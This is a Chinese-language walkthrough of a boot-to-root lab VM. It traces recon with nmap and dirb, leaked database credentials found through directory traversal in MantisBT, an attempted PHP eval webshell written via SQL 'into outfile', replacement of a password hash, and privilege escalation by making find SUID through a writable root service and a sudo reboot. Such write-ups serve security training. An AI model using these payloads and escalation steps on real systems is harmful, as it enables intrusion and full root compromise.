前言
这个靶机Web部分设计得非常real,提权部分几步走实现提权,主要考的信息收集。总体来说不错得一个靶机。
利用过程
nmap开扫,发现开了ssh和80、8082两个端口得http服务。
80和8082端口同时用dirb开扫目录。8082端口除了index.html,并没有发现什么。
80端口下却有不少东西,根路径下数据库连接测试的页面和phpinfo页面。
1 | dirb http://192.168.189.137/ /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt |
mantisbt目录下还有个漏洞报告的系统。
adminer.php页面尝试弱口令和Mysql客户端文件读取无果。
继续后面的mantisbt目录,发现mantisbt的子目录基本都能目录遍历,在config目录下找到了两个有用的文件:a.txt和data.sql,应该是作者留下了的线索。
a.txt里记录着数据库密码,刚好在adminer能派上用场。
data.sql文件里都是创建数据库的SQL语句,但里面有条插入到mantis_user_table
表的操作就明显不寻常。password字段的MD5拿去cmd5匹配得出为root
用a.txt里获取到的数据库密码成功登录进了adminer,首先想到的是into outfile
写webshell,然而没权限。
1 | select '<?php eval($_GET[cmd]);?>' into outfile '/var/www/html/shell.php'; |
将password
字段的MD5替换为root的MD5,登录进漏洞报告系统。
看见是比较新的版本,毕竟是漏洞报告系统,估计也没什么漏洞。
这时留意到用户表tre的realname
不同寻常,看者有点像密码。试下ssh登录,果然就进去了。
上传privilege-escalation-awesome-scripts-suite的脚本收集信息,注意到/usr/bin/目录下的check-system可执行文件可写,并且root用户在运行这个命令。命令内容如下,死循环echo。。。
1 | DATE=`date '+%Y-%m-%d %H:%M:%S'` |
一开始以为是在定时任务里用到这个命令,然而并没有,仔细找了找发现在/etc/systemd/system/里注册成了服务。
这个目录下的服务会开机启动,sudo -l
刚好看见shutdown
命令能免密码sudo
。
开始想是反弹shell,结果没成功,于是用给find
命令赋SUID属性的方提权。
1 | chmod u+s /usr/bin/find |
用man
看了下shutdown
的使用方法,-r
参数能够重启靶机,于是乎…
1 | sudo /sbin/shutdown -r 0 |
待重启完重新连上ssh后,find
提权老操作。
1 | find . -exec /bin/bash -p \; |